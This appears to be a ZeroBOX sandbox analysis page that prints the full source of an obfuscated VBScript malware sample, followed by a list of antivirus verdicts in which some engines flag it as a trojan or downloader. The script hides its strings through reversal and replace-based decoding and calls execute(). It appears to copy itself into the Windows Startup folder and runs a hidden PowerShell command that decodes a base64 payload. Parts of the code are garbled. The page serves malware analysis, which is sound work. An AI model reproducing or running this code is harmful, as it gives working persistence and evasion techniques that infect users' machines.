Static | ZeroBOX
No static analysis available.
On Error Resume Next
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
DdPkKLH = "pu
DdPkKLH = Replace(DdPkKLH,"
+","t")
DdPkKLH = GCBXR(GCBXR(GCBXR(DdPkKLH)))
iaGMe = "pxI"
DPZKDZWLFVQRYYRTXTFGOJC
SCVMJYFWKDJTZBZJCZKSVFSYTONMYTNMLVHMKBSRFJBDOCHSTFV
uHlc = ""
if 0 then
Set uHlco = CreateObject ("Wscript.Shell")
uHlc = WScript.ScriptFullName
dPXU = uHlc
dim KSLQ
dim PZKw
dim OUnWo
dim OUnWo34
OUnWo34 = "]4(:"
dim DPakv
DPakv = ""
KSLQ = ")'sbv." + iaGMe + " \pu]4(:tr]4(:atS\sm]4(:ar]4(:gor]4(:P\u]4(:neM"
KSLQ = KSLQ + " tra]4(:t]4(:S\s]4(:wo]4(:]4(:dniW\t]4(:]4(:fo]4(:so]4(:]4(:rci]4(:]4(:M\g]4(:n]4(:im]4(:]4(:aoR\a]4(:]4(:ta]4(:Dp]4(:pA\]4(:'"
KSLQ = GLUWY(GLUWY( KSLQ , OUnWo34 , DPakv ),KSLQ,KSLQ)
PZKw = "
PZKw = PZKw + "
^y('"
PZKw = PZKw + uHlc + "',"
PZKw = PZKw + "'C
^ers\'
dim UvSHW
UvSHW = KSLQ
UvSHW = GCBXR( _
UvSHW)
PZKw = GLUWY( _
PZKw + _
UvSHW , _
p(#" + _
^" , _
GLUWY(DPakv + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",DPakv) )
OUnWo = GLUWY("cmWTJlQdWTJlQ.exWTJlQe /c pWTJlQing 1WTJlQ27.WTJlQ0.0WTJlQ.1 -nWTJlQ WTJlQ5 & cmWTJlQd.eWTJlQxe /WTJlQc " & """" & "poweWTJlQrshWTJlQell -comWTJlQmand " + PZKw + """" ,"WTJlQ","")
uHlco.run OUnWo, 0, true
end if
Function kUPUl(BttA,UbBP)
dim nwRB
nwRB = "kUPUl = "
nwRB = nwRB + "InStr(BttA, UbBP)"
execute(nwRB)
End Function
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
Function GLUWY(BttA,UbBP,TLkc)
dim nwRB
nwRB = "GLUWY = "
nwRB = nwRB + "Replace"
nwRB = nwRB + "(BttA ,UbBP, TLkc)"
execute(nwRB)
End Function
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
MXlPGRN:cgIXU:yOXSOi = "##$@&":sfMAbn:cnpsDKc:
Function GCBXR(BttA)
dim nwRB
nwRB = "GCBXR = "
nwRB = nwRB + "StrReverse"
nwRB = nwRB + "(BttA)"
execute(nwRB)
End Function
Function JDwW(oWbG,ceiI,AUUv)
JDwW = Replace(oWbG, ceiI, AUUv)
End Function
Function eUDlqc(oWbG)
eUDlqc = StrReverse(oWbG)
End Function
dim jJkWDu
jJkWDu = " "
dim cKPiNK
cKPiNK = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
dim LkSAJf
LkSAJf = eUDlqc("==
jBQ" & cKPiNK & jJkWDu & cKPiNK & "
" & cKPiNK & jJkWDu & cKPiNK & "
Q" & cKPiNK & jJkWDu & cKPiNK & "
yBQ" & cKPiNK & jJkWDu & cKPiNK & "
Q" & cKPiNK & jJkWDu & cKPiNK & "
uBQ" & cKPiNK & jJkWDu & cKPiNK & "
" & cKPiNK & jJkWDu & cKPiNK & "
tBQ" & cKPiNK & jJkWDu & cKPiNK & "
CBwW")
LkSAJf = JDwW( LkSAJf, cKPiNK + jJkWDu + cKPiNK , "Z")
Function zpBah(input)
zpBah = StrReverse(input)
End Function
Function PMPPu(command)
Dim poQcWZ, WONdU
WONdU = ")/|((%ow
(ll -co&(*&/%&(*&/%and " & command
WONdU = Replace(WONdU,"
(","e")
WONdU = Replace(WONdU,"&(*&/%","m")
WONdU = Replace(WONdU,")/|((%","p")
Set poQcWZ = CreateObject("WScript.Shell")
poQcWZ.Run WONdU, 0, False
End Function
hwoHU = zpBah("' = ogidoC$") & LkSAJf & "'"
hwoHU = hwoHU & ";$OWjux}$$
@# = [@#
nco}$$
@#ing]::Unico}$$
tString( "
hwoHU = hwoHU & "[@#
m.Conv#
rt]::From
64String( $}
@#igo.r#
]}(ce('
','A') ) )"
hwoHU = hwoHU & ";@
-windo
44wstyl#
44ion@
44ss -NoP
44rofil#
]}(nd $OW
44juxD" & "eWBcKeN"
dim BIzYP
BIzYP = "
hwoHU = Replace(hwoHU, BIzYP + ";" + BIzYP, "")
hwoHU = Replace(hwoHU, "
]}(", "a")
hwoHU = Replace(hwoHU, "
", "b")
hwoHU = Replace(hwoHU, "}
:", "c")
hwoHU = Replace(hwoHU, "}$$
@#", "d")
hwoHU = Replace(hwoHU, "#
", "e")
hwoHU = Replace(hwoHU, "@
", "p")
hwoHU = Replace(hwoHU, "@#
", "s")
hwoHU = Replace(hwoHU, "eWBcKeN", "")
PMPPu(hwoHU)
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren Clean
Symantec ISB.Downloader!gen285
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Clean
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
Rising Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Clean
FireEye Clean
Emsisoft Clean
GData Clean
Jiangmin Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Trojan.VBS.Agent
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.